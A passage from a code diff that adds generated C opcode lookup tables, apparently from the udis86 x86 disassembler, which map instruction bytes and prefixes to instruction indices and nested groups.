INVALID, INVALID, 41, +}; + +static const uint16_t ud_itab__111[] = { + /* 0 */ INVALID, INVALID, INVALID, 43, +}; + +static const uint16_t ud_itab__112[] = { + /* 0 */ INVALID, INVALID, INVALID, 37, +}; + +static const uint16_t ud_itab__113[] = { + /* 0 */ INVALID, INVALID, INVALID, 39, +}; + +static const uint16_t ud_itab__114[] = { + /* 0 */ 1723, 1725, INVALID, INVALID, +}; + +static const uint16_t ud_itab__115[] = { + /* 0 */ 1724, 1726, INVALID, INVALID, +}; + +static const uint16_t ud_itab__116[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ GROUP(117), GROUP(118), GROUP(119), GROUP(120), + /* c */ GROUP(121), GROUP(122), GROUP(123), GROUP(124), + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ GROUP(125), GROUP(126), GROUP(127), GROUP(129), + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ GROUP(130), GROUP(131), GROUP(132), INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ GROUP(134), GROUP(135), GROUP(136), INVALID, + /* 44 */ GROUP(137), INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ GROUP(139), GROUP(140), GROUP(141), GROUP(142), + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, GROUP(138), + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__117[] = { + /* 0 */ INVALID, INVALID, INVALID, 1644, +}; + +static const uint16_t ud_itab__118[] = { + /* 0 */ INVALID, INVALID, INVALID, 1646, +}; + +static const uint16_t ud_itab__119[] = { + /* 0 */ INVALID, INVALID, INVALID, 1648, +}; + +static const uint16_t ud_itab__120[] = { + /* 0 */ INVALID, INVALID, INVALID, 1650, +}; + +static const uint16_t ud_itab__121[] = { + /* 0 */ INVALID, INVALID, INVALID, 1654, +}; + +static const uint16_t ud_itab__122[] = { + /* 0 */ INVALID, INVALID, INVALID, 1652, +}; + +static const uint16_t ud_itab__123[] = { + /* 0 */ INVALID, INVALID, INVALID, 1677, +}; + +static const uint16_t ud_itab__124[] = { + /* 0 */ 1618, INVALID, INVALID, 1619, +}; + +static const uint16_t ud_itab__125[] = { + /* 0 */ INVALID, INVALID, INVALID, 1045, +}; + +static const uint16_t ud_itab__126[] = { + /* 0 */ INVALID, INVALID, INVALID, 1056, +}; + +static const uint16_t ud_itab__127[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(128), +}; + +static const uint16_t ud_itab__128[] = { + /* 0 */ 1047, 1049, 1051, +}; + +static const uint16_t ud_itab__129[] = { + /* 0 */ INVALID, INVALID, INVALID, 201, +}; + +static const uint16_t ud_itab__130[] = { + /* 0 */ INVALID, INVALID, INVALID, 1058, +}; + +static const uint16_t ud_itab__131[] = { + /* 0 */ INVALID, INVALID, INVALID, 1557, +}; + +static const uint16_t ud_itab__132[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(133), +}; + +static const uint16_t ud_itab__133[] = { + /* 0 */ 1062, 1063, 1064, +}; + +static const uint16_t ud_itab__134[] = { + /* 0 */ INVALID, INVALID, INVALID, 197, +}; + +static const uint16_t ud_itab__135[] = { + /* 0 */ INVALID, INVALID, INVALID, 195, +}; + +static const uint16_t ud_itab__136[] = { + /* 0 */ INVALID, INVALID, INVALID, 1679, +}; + +static const uint16_t ud_itab__137[] = { + /* 0 */ INVALID, INVALID, INVALID, 1512, +}; + +static const uint16_t ud_itab__138[] = { + /* 0 */ INVALID, INVALID, INVALID, 47, +}; + +static const uint16_t ud_itab__139[] = { + /* 0 */ INVALID, INVALID, INVALID, 1715, +}; + +static const uint16_t ud_itab__140[] = { + /* 0 */ INVALID, INVALID, INVALID, 1713, +}; + +static const uint16_t ud_itab__141[] = { + /* 0 */ INVALID, INVALID, INVALID, 1721, +}; + +static const uint16_t ud_itab__142[] = { + /* 0 */ INVALID, INVALID, INVALID, 1719, +}; + +static const uint16_t ud_itab__143[] = { + /* 0 */ 900, INVALID, INVALID, 898, +}; + +static const uint16_t ud_itab__144[] = { + /* 0 */ 1387, 1391, 1393, 1389, +}; + +static const uint16_t ud_itab__145[] = { + /* 0 */ 1306, INVALID, 1308, INVALID, +}; + +static const uint16_t ud_itab__146[] = { + /* 0 */ 1291, INVALID, 1293, INVALID, +}; + +static const uint16_t ud_itab__147[] = { + /* 0 */ 61, INVALID, INVALID, 59, +}; + +static const uint16_t ud_itab__148[] = { + /* 0 */ 65, INVALID, INVALID, 63, +}; + +static const uint16_t ud_itab__149[] = { + /* 0 */ 976, INVALID, INVALID, 974, +}; + +static const uint16_t ud_itab__150[] = { + /* 0 */ 1499, INVALID, INVALID, 1497, +}; + +static const uint16_t ud_itab__151[] = { + /* 0 */ 27, 29, 31, 25, +}; + +static const uint16_t ud_itab__152[] = { + /* 0 */ 946, 948, 950, 944, +}; + +static const uint16_t ud_itab__153[] = { + /* 0 */ 145, 150, 156, 139, +}; + +static const uint16_t ud_itab__154[] = { + /* 0 */ 134, INVALID, 163, 143, +}; + +static const uint16_t ud_itab__155[] = { + /* 0 */ 1419, 1421, 1423, 1417, +}; + +static const uint16_t ud_itab__156[] = { + /* 0 */ 818, 820, 822, 816, +}; + +static const uint16_t ud_itab__157[] = { + /* 0 */ 189, 191, 193, 187, +}; + +static const uint16_t ud_itab__158[] = { + /* 0 */ 802, 804, 806, 800, +}; + +static const uint16_t ud_itab__159[] = { + /* 0 */ 1209, INVALID, INVALID, 1207, +}; + +static const uint16_t ud_itab__160[] = { + /* 0 */ 1212, INVALID, INVALID, 1210, +}; + +static const uint16_t ud_itab__161[] = { + /* 0 */ 1215, INVALID, INVALID, 1213, +}; + +static const uint16_t ud_itab__162[] = { + /* 0 */ 987, INVALID, INVALID, 985, +}; + +static const uint16_t ud_itab__163[] = { + /* 0 */ 1038, INVALID, INVALID, 1036, +}; + +static const uint16_t ud_itab__164[] = { + /* 0 */ 1041, INVALID, INVALID, 1039, +}; + +static const uint16_t ud_itab__165[] = { + /* 0 */ 1044, INVALID, INVALID, 1042, +}; + +static const uint16_t ud_itab__166[] = { + /* 0 */ 993, INVALID, INVALID, 991, +}; + +static const uint16_t ud_itab__167[] = { + /* 0 */ 1200, INVALID, INVALID, 1198, +}; + +static const uint16_t ud_itab__168[] = { + /* 0 */ 1203, INVALID, INVALID, 1201, +}; + +static const uint16_t ud_itab__169[] = { + /* 0 */ 1206, INVALID, INVALID, 1204, +}; + +static const uint16_t ud_itab__170[] = { + /* 0 */ 990, INVALID, INVALID, 988, +}; + +static const uint16_t ud_itab__171[] = { + /* 0 */ INVALID, INVALID, INVALID, 1547, +}; + +static const uint16_t ud_itab__172[] = { + /* 0 */ INVALID, INVALID, INVALID, 1545, +}; + +static const uint16_t ud_itab__173[] = { + /* 0 */ GROUP(174), INVALID, INVALID, GROUP(175), +}; + +static const uint16_t ud_itab__174[] = { + /* 0 */ 866, 867, 910, +}; + +static const uint16_t ud_itab__175[] = { + /* 0 */ 868, 870, 911, +}; + +static const uint16_t ud_itab__176[] = { + /* 0 */ 920, INVALID, 1522, 1517, +}; + +static const uint16_t ud_itab__177[] = { + /* 0 */ 1134, 1537, 1535, 1539, +}; + +static const uint16_t ud_itab__178[] = { + /* 0 */ INVALID, INVALID, GROUP(179), INVALID, + /* 4 */ GROUP(180), INVALID, GROUP(181), INVALID, +}; + +static const uint16_t ud_itab__179[] = { + /* 0 */ 1159, INVALID, INVALID, 1163, +}; + +static const uint16_t ud_itab__180[] = { + /* 0 */ 1152, INVALID, INVALID, 1150, +}; + +static const uint16_t ud_itab__181[] = { + /* 0 */ 1138, INVALID, INVALID, 1137, +}; + +static const uint16_t ud_itab__182[] = { + /* 0 */ INVALID, INVALID, GROUP(183), INVALID, + /* 4 */ GROUP(184), INVALID, GROUP(185), INVALID, +}; + +static const uint16_t ud_itab__183[] = { + /* 0 */ 1165, INVALID, INVALID, 1169, +}; + +static const uint16_t ud_itab__184[] = { + /* 0 */ 1153, INVALID, INVALID, 1157, +}; + +static const uint16_t ud_itab__185[] = { + /* 0 */ 1142, INVALID, INVALID, 1141, +}; + +static const uint16_t ud_itab__186[] = { + /* 0 */ INVALID, INVALID, GROUP(187), GROUP(188), + /* 4 */ INVALID, INVALID, GROUP(189), GROUP(190), +}; + +static const uint16_t ud_itab__187[] = { + /* 0 */ 1171, INVALID, INVALID, 1175, +}; + +static const uint16_t ud_itab__188[] = { + /* 0 */ INVALID, INVALID, INVALID, 1543, +}; + +static const uint16_t ud_itab__189[] = { + /* 0 */ 1146, INVALID, INVALID, 1145, +}; + +static const uint16_t ud_itab__190[] = { + /* 0 */ INVALID, INVALID, INVALID, 1541, +}; + +static const uint16_t ud_itab__191[] = { + /* 0 */ 1027, INVALID, INVALID, 1028, +}; + +static const uint16_t ud_itab__192[] = { + /* 0 */ 1030, INVALID, INVALID, 1031, +}; + +static const uint16_t ud_itab__193[] = { + /* 0 */ 1033, INVALID, INVALID, 1034, +}; + +static const uint16_t ud_itab__194[] = { + /* 0 */ INVALID, 1464, INVALID, +}; + +static const uint16_t ud_itab__195[] = { + /* 0 */ INVALID, 1465, INVALID, +}; + +static const uint16_t ud_itab__196[] = { + /* 0 */ INVALID, 1551, INVALID, 1549, +}; + +static const uint16_t ud_itab__197[] = { + /* 0 */ INVALID, 1555, INVALID, 1553, +}; + +static const uint16_t ud_itab__198[] = { + /* 0 */ GROUP(199), INVALID, 916, GROUP(200), +}; + +static const uint16_t ud_itab__199[] = { + /* 0 */ 872, 873, 913, +}; + +static const uint16_t ud_itab__200[] = { + /* 0 */ 874, 876, 914, +}; + +static const uint16_t ud_itab__201[] = { + /* 0 */ 921, INVALID, 1524, 1515, +}; + +static const uint16_t ud_itab__202[] = { + /* 0 */ INVALID, GROUP(203), +}; + +static const uint16_t ud_itab__203[] = { + /* 0 */ GROUP(204), GROUP(205), GROUP(206), INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__204[] = { + /* 0 */ 825, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__205[] = { + /* 0 */ 1509, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__206[] = { + /* 0 */ 1510, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__207[] = { + /* 0 */ INVALID, GROUP(208), +}; + +static const uint16_t ud_itab__208[] = { + /* 0 */ GROUP(209), GROUP(210), GROUP(211), GROUP(212), + /* 4 */ GROUP(213), GROUP(214), INVALID, INVALID, +}; + +static const uint16_t ud_itab__209[] = { + /* 0 */ 1511, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__210[] = { + /* 0 */ 1501, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__211[] = { + /* 0 */ 1502, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__212[] = { + /* 0 */ 1503, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__213[] = { + /* 0 */ 1504, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__214[] = { + /* 0 */ 1505, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__215[] = { + /* 0 */ GROUP(216), GROUP(217), +}; + +static const uint16_t ud_itab__216[] = { + /* 0 */ 683, 682, 768, 1400, + /* 4 */ 1507, 1506, INVALID, 79, +}; + +static const uint16_t ud_itab__217[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, GROUP(218), GROUP(219), GROUP(220), +}; + +static const uint16_t ud_itab__218[] = { + /* 0 */ 777, 778, 779, 780, + /* 4 */ 781, 782, 783, 784, +}; + +static const uint16_t ud_itab__219[] = { + /* 0 */ 808, 809, 810, 811, + /* 4 */ 812, 813, 814, 815, +}; + +static const uint16_t ud_itab__220[] = { + /* 0 */ 1366, 1367, 1368, 1369, + /* 4 */ 1370, 1371, 1372, 1373, +}; + +static const uint16_t ud_itab__221[] = { + /* 0 */ INVALID, INVALID, 1710, INVALID, +}; + +static const uint16_t ud_itab__222[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ 1669, 1676, 1674, 1672, +}; + +static const uint16_t ud_itab__223[] = { + /* 0 */ 112, 117, 120, 110, +}; + +static const uint16_t ud_itab__224[] = { + /* 0 */ 1059, INVALID, INVALID, 1060, +}; + +static const uint16_t ud_itab__225[] = { + /* 0 */ 1055, INVALID, INVALID, 1053, +}; + +static const uint16_t ud_itab__226[] = { + /* 0 */ 1381, INVALID, INVALID, 1379, +}; + +static const uint16_t ud_itab__227[] = { + /* 0 */ GROUP(228), GROUP(235), +}; + +static const uint16_t ud_itab__228[] = { + /* 0 */ INVALID, GROUP(229), INVALID, INVALID, + /* 4 */ INVALID, INVALID, GROUP(230), GROUP(234), +}; + +static const uint16_t ud_itab__229[] = { + /* 0 */ 124, 125, 126, +}; + +static const uint16_t ud_itab__230[] = { + /* 0 */ GROUP(231), INVALID, GROUP(232), GROUP(233), +}; + +static const uint16_t ud_itab__231[] = { + /* 0 */ INVALID, 1459, INVALID, +}; + +static const uint16_t ud_itab__232[] = { + /* 0 */ INVALID, 1458, INVALID, +}; + +static const uint16_t ud_itab__233[] = { + /* 0 */ INVALID, 1457, INVALID, +}; + +static const uint16_t ud_itab__234[] = { + /* 0 */ INVALID, 1460, INVALID, +}; + +static const uint16_t ud_itab__235[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, 1456, INVALID, +}; + +static const uint16_t ud_itab__236[] = { + /* 0 */ INVALID, 35, INVALID, 33, +}; + +static const uint16_t ud_itab__237[] = { + /* 0 */ 1160, INVALID, INVALID, 1161, +}; + +static const uint16_t ud_itab__238[] = { + /* 0 */ 1166, INVALID, INVALID, 1167, +}; + +static const uint16_t ud_itab__239[] = { + /* 0 */ 1172, INVALID, INVALID, 1173, +}; + +static const uint16_t ud_itab__240[] = { + /* 0 */ 1527, INVALID, INVALID, 1528, +}; + +static const uint16_t ud_itab__241[] = { + /* 0 */ 1093, INVALID, INVALID, 1094, +}; + +static const uint16_t ud_itab__242[] = { + /* 0 */ INVALID, 1521, 1526, 918, +}; + +static const uint16_t ud_itab__243[] = { + /* 0 */ 1086, INVALID, INVALID, 1084, +}; + +static const uint16_t ud_itab__244[] = { + /* 0 */ 1192, INVALID, INVALID, 1193, +}; + +static const uint16_t ud_itab__245[] = { + /* 0 */ 1195, INVALID, INVALID, 1196, +}; + +static const uint16_t ud_itab__246[] = { + /* 0 */ 1083, INVALID, INVALID, 1081, +}; + +static const uint16_t ud_itab__247[] = { + /* 0 */ 1017, INVALID, INVALID, 1015, +}; + +static const uint16_t ud_itab__248[] = { + /* 0 */ 1009, INVALID, INVALID, 1010, +}; + +static const uint16_t ud_itab__249[] = { + /* 0 */ 1012, INVALID, INVALID, 1013, +}; + +static const uint16_t ud_itab__250[] = { + /* 0 */ 1075, INVALID, INVALID, 1076, +}; + +static const uint16_t ud_itab__251[] = { + /* 0 */ 1020, INVALID, INVALID, 1018, +}; + +static const uint16_t ud_itab__252[] = { + /* 0 */ 1023, INVALID, INVALID, 1021, +}; + +static const uint16_t ud_itab__253[] = { + /* 0 */ 1147, INVALID, INVALID, 1148, +}; + +static const uint16_t ud_itab__254[] = { + /* 0 */ 1156, INVALID, INVALID, 1154, +}; + +static const uint16_t ud_itab__255[] = { + /* 0 */ 1026, INVALID, INVALID, 1024, +}; + +static const uint16_t ud_itab__256[] = { + /* 0 */ 1087, INVALID, INVALID, 1088, +}; + +static const uint16_t ud_itab__257[] = { + /* 0 */ 1092, INVALID, INVALID, 1090, +}; + +static const uint16_t ud_itab__258[] = { + /* 0 */ INVALID, 136, 132, 160, +}; + +static const uint16_t ud_itab__259[] = { + /* 0 */ 909, INVALID, INVALID, 902, +}; + +static const uint16_t ud_itab__260[] = { + /* 0 */ 1186, INVALID, INVALID, 1187, +}; + +static const uint16_t ud_itab__261[] = { + /* 0 */ 1189, INVALID, INVALID, 1190, +}; + +static const uint16_t ud_itab__262[] = { + /* 0 */ 1080, INVALID, INVALID, 1078, +}; + +static const uint16_t ud_itab__263[] = { + /* 0 */ 1118, INVALID, INVALID, 1116, +}; + +static const uint16_t ud_itab__264[] = { + /* 0 */ 1003, INVALID, INVALID, 1004, +}; + +static const uint16_t ud_itab__265[] = { + /* 0 */ 1006, INVALID, INVALID, 1007, +}; + +static const uint16_t ud_itab__266[] = { + /* 0 */ 1074, INVALID, INVALID, 1072, +}; + +static const uint16_t ud_itab__267[] = { + /* 0 */ 1266, INVALID, INVALID, 1264, +}; + +static const uint16_t ud_itab__268[] = { + /* 0 */ INVALID, 1559, INVALID, INVALID, +}; + +static const uint16_t ud_itab__269[] = { + /* 0 */ 1136, INVALID, INVALID, 1135, +}; + +static const uint16_t ud_itab__270[] = { + /* 0 */ 1140, INVALID, INVALID, 1139, +}; + +static const uint16_t ud_itab__271[] = { + /* 0 */ 1144, INVALID, INVALID, 1143, +}; + +static const uint16_t ud_itab__272[] = { + /* 0 */ 1533, INVALID, INVALID, 1534, +}; + +static const uint16_t ud_itab__273[] = { + /* 0 */ 1069, INVALID, INVALID, 1070, +}; + +static const uint16_t ud_itab__274[] = { + /* 0 */ 1133, INVALID, INVALID, 1131, +}; + +static const uint16_t ud_itab__275[] = { + /* 0 */ INVALID, GROUP(276), +}; + +static const uint16_t ud_itab__276[] = { + /* 0 */ 799, INVALID, INVALID, 1519, +}; + +static const uint16_t ud_itab__277[] = { + /* 0 */ 1179, INVALID, INVALID, 1177, +}; + +static const uint16_t ud_itab__278[] = { + /* 0 */ 1182, INVALID, INVALID, 1180, +}; + +static const uint16_t ud_itab__279[] = { + /* 0 */ 1183, INVALID, INVALID, 1184, +}; + +static const uint16_t ud_itab__280[] = { + /* 0 */ 1532, INVALID, INVALID, 1530, +}; + +static const uint16_t ud_itab__281[] = { + /* 0 */ 996, INVALID, INVALID, 994, +}; + +static const uint16_t ud_itab__282[] = { + /* 0 */ 997, INVALID, INVALID, 998, +}; + +static const uint16_t ud_itab__283[] = { + /* 0 */ 1000, INVALID, INVALID, 1001, +}; + +static const uint16_t ud_itab__284[] = { + /* 0 */ 1242, INVALID, +}; + +static const uint16_t ud_itab__285[] = { + /* 0 */ 1097, INVALID, +}; + +static const uint16_t ud_itab__286[] = { + /* 0 */ 1243, INVALID, +}; + +static const uint16_t ud_itab__287[] = { + /* 0 */ 1098, INVALID, +}; + +static const uint16_t ud_itab__288[] = { + /* 0 */ 173, INVALID, +}; + +static const uint16_t ud_itab__289[] = { + /* 0 */ 174, INVALID, +}; + +static const uint16_t ud_itab__290[] = { + /* 0 */ 1, INVALID, +}; + +static const uint16_t ud_itab__291[] = { + /* 0 */ 4, INVALID, +}; + +static const uint16_t ud_itab__292[] = { + /* 0 */ GROUP(293), GROUP(294), INVALID, +}; + +static const uint16_t ud_itab__293[] = { + /* 0 */ 1257, INVALID, +}; + +static const uint16_t ud_itab__294[] = { + /* 0 */ 1258, INVALID, +}; + +static const uint16_t ud_itab__295[] = { + /* 0 */ GROUP(296), GROUP(297), INVALID, +}; + +static const uint16_t ud_itab__296[] = { + /* 0 */ 1110, INVALID, +}; + +static const uint16_t ud_itab__297[] = { + /* 0 */ 1111, INVALID, +}; + +static const uint16_t ud_itab__298[] = { + /* 0 */ 1658, INVALID, +}; + +static const uint16_t ud_itab__299[] = { + /* 0 */ 67, 68, +}; + +static const uint16_t ud_itab__300[] = { + /* 0 */ 710, 711, INVALID, +}; + +static const uint16_t ud_itab__301[] = { + /* 0 */ 983, 984, INVALID, +}; + +static const uint16_t ud_itab__302[] = { + /* 0 */ 21, 970, 11, 1342, + /* 4 */ 55, 1413, 1493, 106, +}; + +static const uint16_t ud_itab__303[] = { + /* 0 */ 23, 971, 13, 1343, + /* 4 */ 57, 1414, 1494, 108, +}; + +static const uint16_t ud_itab__304[] = { + /* 0 */ GROUP(305), GROUP(306), GROUP(307), GROUP(308), + /* 4 */ GROUP(309), GROUP(310), GROUP(311), GROUP(312), +}; + +static const uint16_t ud_itab__305[] = { + /* 0 */ 22, INVALID, +}; + +static const uint16_t ud_itab__306[] = { + /* 0 */ 972, INVALID, +}; + +static const uint16_t ud_itab__307[] = { + /* 0 */ 12, INVALID, +}; + +static const uint16_t ud_itab__308[] = { + /* 0 */ 1344, INVALID, +}; + +static const uint16_t ud_itab__309[] = { + /* 0 */ 56, INVALID, +}; + +static const uint16_t ud_itab__310[] = { + /* 0 */ 1415, INVALID, +}; + +static const uint16_t ud_itab__311[] = { + /* 0 */ 1495, INVALID, +}; + +static const uint16_t ud_itab__312[] = { + /* 0 */ 107, INVALID, +}; + +static const uint16_t ud_itab__313[] = { + /* 0 */ 24, 973, 14, 1345, + /* 4 */ 58, 1416, 1496, 109, +}; + +static const uint16_t ud_itab__314[] = { + /* 0 */ 1109, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__315[] = { + /* 0 */ 74, 75, 76, +}; + +static const uint16_t ud_itab__316[] = { + /* 0 */ 170, 171, 172, +}; + +static const uint16_t ud_itab__317[] = { + /* 0 */ 73, INVALID, +}; + +static const uint16_t ud_itab__318[] = { + /* 0 */ GROUP(319), GROUP(320), GROUP(321), +}; + +static const uint16_t ud_itab__319[] = { + /* 0 */ 1259, 1260, +}; + +static const uint16_t ud_itab__320[] = { + /* 0 */ 1261, 1262, +}; + +static const uint16_t ud_itab__321[] = { + /* 0 */ INVALID, 1263, +}; + +static const uint16_t ud_itab__322[] = { + /* 0 */ GROUP(323), GROUP(324), GROUP(325), +}; + +static const uint16_t ud_itab__323[] = { + /* 0 */ 1112, INVALID, +}; + +static const uint16_t ud_itab__324[] = { + /* 0 */ 1113, 1114, +}; + +static const uint16_t ud_itab__325[] = { + /* 0 */ INVALID, 1115, +}; + +static const uint16_t ud_itab__326[] = { + /* 0 */ 923, 924, 927, +}; + +static const uint16_t ud_itab__327[] = { + /* 0 */ 115, 116, 119, +}; + +static const uint16_t ud_itab__328[] = { + /* 0 */ 1403, 1404, 1405, +}; + +static const uint16_t ud_itab__329[] = { + /* 0 */ 791, 792, 793, +}; + +static const uint16_t ud_itab__330[] = { + /* 0 */ 1347, 1348, 1349, +}; + +static const uint16_t ud_itab__331[] = { + /* 0 */ 1279, 1286, 1267, 1275, + /* 4 */ 1327, 1334, 1318, 1313, +}; + +static const uint16_t ud_itab__332[] = { + /* 0 */ 1284, 1287, 1268, 1274, + /* 4 */ 1323, 1330, 1319, 1315, +}; + +static const uint16_t ud_itab__333[] = { + /* 0 */ GROUP(334), GROUP(335), INVALID, INVALID, + /* 4 */ INVALID, GROUP(341), GROUP(357), GROUP(369), + /* 8 */ INVALID, GROUP(394), INVALID, INVALID, + /* c */ INVALID, GROUP(399), INVALID, INVALID, +}; + +static const uint16_t ud_itab__334[] = { + /* 0 */ 771, INVALID, +}; + +static const uint16_t ud_itab__335[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ 937, 939, GROUP(336), 895, + /* 14 */ 1450, 1448, GROUP(337), 885, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 863, 865, INVALID, 908, + /* 2c */ INVALID, INVALID, 1443, 130, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ 901, 1388, 1307, 1292, + /* 54 */ 62, 66, 977, 1500, + /* 58 */ 28, 947, 146, 135, + /* 5c */ 1420, 819, 190, 803, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, GROUP(340), + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, GROUP(338), INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 113, INVALID, + /* c4 */ INVALID, INVALID, 1382, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t 